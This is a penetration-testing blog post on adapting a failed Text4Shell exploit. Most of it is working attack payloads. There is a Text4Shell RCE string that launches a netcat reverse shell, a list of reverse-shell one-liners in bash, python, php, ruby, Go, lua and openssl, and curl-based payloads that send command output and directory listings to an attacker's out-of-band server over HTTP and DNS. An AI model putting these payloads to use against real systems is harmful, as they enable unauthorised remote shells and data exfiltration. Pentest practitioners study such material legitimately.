Is the exploit not working? Keep going; don’t stop

What happens now?

This can be because of

  • enhanced security measures
  • a subset of commands not being allowed.
  • the exploit is facing unexpected obstacles.

Sometimes, these challenges need creativity and adaptability. It is imperative to understand that the failure of an exploit to function as intended is not a place to stop, but just when the fun begins:

Let us take the text4shell exploit:

{script:javascript:java.lang.Runtime.getRuntime().exec('nc AttackerAddress AttackerPort -e /bin/sh')}

This might not work for a million reasons, but let’s start at the beginning.

In the enumeration phase, you’ve included a payload such as this:

${url:UTF-8:https://your-oob-server}

So you’ve got a response, and hopefully it’s a DNS and HTTP request to your out-of-bounds server. Let’s assume that means the vulnerable asset, not a honeypot. The next step is to get RCE or something from the server.

So you try the Netcat command, which doesn’t work

Maybe Netcat isn’t on the machine? Maybe it’s not “/bin/sh” but “/bin/bash”

So we try a bunch of other reverse shell payloads:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'`

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc -e /bin/sh 10.0.0.1 1234

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

exec 5<>/dev/tcp/192.168.0.100/4444

/bin/sh | nc 192.168.0.100 4444

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/e.go && go run /tmp/e.go && rm /tmp/e.go

lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

mkfifo /tmp/s;/bin/sh -i</tmp/s 2>&1|openssl s_client -quiet -connect 127.0.0.1:4444>/tmp/s 2>/dev/null;rm /tmp/s

The above is taken from PenTestMonkey

Still Nothing?

Time for some creativity

We know we can get an HTTP response and read a DNS query.

We could append some information to the DNS query or the HTTP request.

{script:javascript:java.lang.Runtime.getRuntime().exec('whoami | while read line;do curl -X POST -d $line http://test2.oyour-oob-server.oastify.com;done')}

That might send the output of “whoami”, as the data in a POST request to your OOB server

{script:javascript:java.lang.Runtime.getRuntime().exec('ls | while read line;do curl http://$line.oyour-oob-server.oastify.com;done')}

That might send the contents of the directory, as the first part of the dns query to the OOB server

And can we get even more creative?

{script:javascript:java.lang.Runtime.getRuntime().exec('if [ which /bin/python3 | wc -l > 0 ]; then curl http://exists.oyour-oob-server.oastify.com;else curl http://doesnotexist.oyour-oob-server.oastify.com; fi')}

Blind Enumeration using a bash-fu single line? Many things may have worked before that, but if nothing else has worked, why not try it?




Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • Quick Bash Fu to get an overview of a target
  • Internal Penetration Test Notes
  • Blind SQL Injection
  • Large Language Model Penetration Testing
  • Changing the exploit